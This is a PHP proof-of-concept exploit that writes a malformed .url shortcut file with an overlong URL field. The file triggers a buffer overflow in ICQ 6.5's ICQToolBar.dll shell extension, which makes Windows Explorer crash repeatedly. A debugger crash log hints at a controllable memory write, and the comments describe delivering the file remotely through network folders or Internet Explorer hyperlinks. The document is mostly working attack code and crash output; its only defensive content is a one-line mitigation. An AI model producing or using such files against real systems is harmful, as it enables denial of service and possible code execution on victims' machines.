ICQ 6.5 File Processing

`<?php  
/*  
ICQ 6.5 URL Search Hook/ICQToolBar.dll .URL file processing Windows Explorer  
remote buffer overflow poc  
by Nine:Situations:Group::pyrokinesis  
site: http://retrogod.altervista.org/  
  
If the resulting file is placed on the desktop, against ex. xp sp3  
process explorer.exe will exit with code 1282 (0x502) that is  
ERROR_STACK_BUFFER_OVERRUN and crash infinitely, you cannot even browse a folder  
if the file is present in it  
Solution: disable the shell extension, you may try shellexview by nirsoft  
  
Note (added 30/05/2009, remote vector added): it works with network folders  
too ...  
  
against a win2k3 where explorer.exe is not patched with /GS flag:  
  
(f44.104): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=02100068 ebx=772a23c1 ecx=0210cefa edx=00000823 esi=00610061 edi=00000000  
eip=772a533f esp=0210cec0 ebp=0210cec4 iopl=0 nv up ei pl nz na po nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202  
SHLWAPI!Ordinal400+0x2d:  
772a533f 668906 mov word ptr [esi],ax ds:0023:00610061=???? <-----  
0:010> g  
(f44.104): Access violation - code c0000005 (!!! second chance !!!)  
eax=02100068 ebx=772a23c1 ecx=0210cefa edx=00000823 esi=00610061 edi=00000000  
eip=772a533f esp=0210cec0 ebp=0210cec4 iopl=0 nv up ei pl nz na po nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202  
SHLWAPI!Ordinal400+0x2d:  
772a533f 668906 mov word ptr [esi],ax ds:0023:00610061=???? <-----  
0:010> gn  
eax=00000001 ebx=00000000 ecx=00000000 edx=00000000 esi=00000000 edi=00000001  
eip=7ffe0304 esp=0178fcf0 ebp=0178ff44 iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246  
SharedUserData!SystemCallStub+0x4:  
7ffe0304 c3 ret  
  
prepare a network folder with the .url file inside. This works  
against Internet Explorer too by a hyperlink to the network folder  
*/  
  
$____x = "[InternetShortcut]\x0d\x0a".  
"URL=".str_repeat("\x61",2184);  
file_put_contents("9sg_poc.url",$____x);  
?>  
  
  
`